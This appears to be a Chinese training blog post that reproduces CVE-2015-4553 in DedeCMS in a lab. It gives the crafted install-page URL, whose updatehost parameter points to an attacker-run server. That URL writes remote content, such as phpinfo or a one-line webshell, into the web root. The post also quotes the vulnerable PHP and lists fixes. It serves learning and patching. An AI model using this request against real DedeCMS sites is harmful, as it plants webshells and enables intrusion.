Catalog
  1. 1. 漏洞复现
  2. 2. 加深理解
  3. 3. 自己对他的一点理解
铁三训练营之Dedecms远程写文件

CVE-2015-4553 Dedecms远程写文件

一个看得半懂不懂的漏洞。存住,等以后学了php以后再加深了解。

漏洞复现

在目标机上查看【C: /phpstudy /www/data/admin/config update. php
】,已经由原来的内容变为空的内容。如图所示
图1
图2

在192.168.1.2打开 phpstudy在【c/ phpstudy/www】下建立【dedecms/ demonata. a. txt】,写入【】,也可以是一句话。如图所示
图3

访问【http: //192.168.1. 3/install/index. php?
step=11&inslockfile=a&s_lang=a&install_demo_nam
e=../data/tchg. php&updatehost=http: //192.168.1
2/】,可以看到出现了存在,说明 phpinfo已经写进去
了。如图所示
图4

访问 【http://192.168.1.3/data/tchg.php】,可以看到 phpinfo页面说明真的写进去了。如图所示
图5

漏洞产生的原因发生在安装页面【c:/ phpstudy/www/install/index. php】,如果接收到的参数【step=11】,然后包含【C: /phpstudy /www/data/admin/config_update. php】。查看【 config_update.php】里面定义了【updateHost】变量。前面已经把这个文件里的内容绐清空了。这里利用了php5.2的特性,全局变量get可以赋值这样就控制了上传的内容,达到了写shel的目的。如图所示
图6

漏洞修复,升级php版本,或者删除安装文件,或者把php.ini文件中的【register_globals】设置为off

加深理解

引用大佬博客。写的很清楚。
http://blog.sina.com.cn/s/blog_12f7f19600102wimx.html

自己对他的一点理解

这是一个典型的cms模板的漏洞了,就以我现在的水平(我也才学了半年的信息安全),感觉这种漏洞应该是属于审计出来的,应该是靠src去挖掘,我现在的代码水平不是很好,而且我还是先从OWASP TOP10开始慢慢摸索的渗透,对于这种cms的漏洞不是很懂,因为感觉需要一定的代码水平才能去理解,所以先把源码存下来,后面学了代码再去做一遍注释吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
else if($step==11)

{

require_once(‘../data/admin/config_update.php’);

$rmurl = $updateHost.”dedecms/demodata.{$s_lang}.txt”;

echo $rmurl;

$sql_content = file_get_contents($rmurl);

$fp = fopen($install_demo_name,’w’);

if(fwrite($fp,$sql_content))

echo ‘ <font color=”green”>[√]</font> 存在(您可以选择安装进行体验)’;

else

echo ‘ <font color=”red”>[×]</font> 远程获取失败’;

unset($sql_content);

fclose($fp);

exit();
Author: 九指
Link: /2018/05/09/%E9%93%81%E4%B8%89%E8%AE%AD%E7%BB%83%E8%90%A5%E4%B9%8BDedecms%E8%BF%9C%E7%A8%8B%E5%86%99%E6%96%87%E4%BB%B6/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶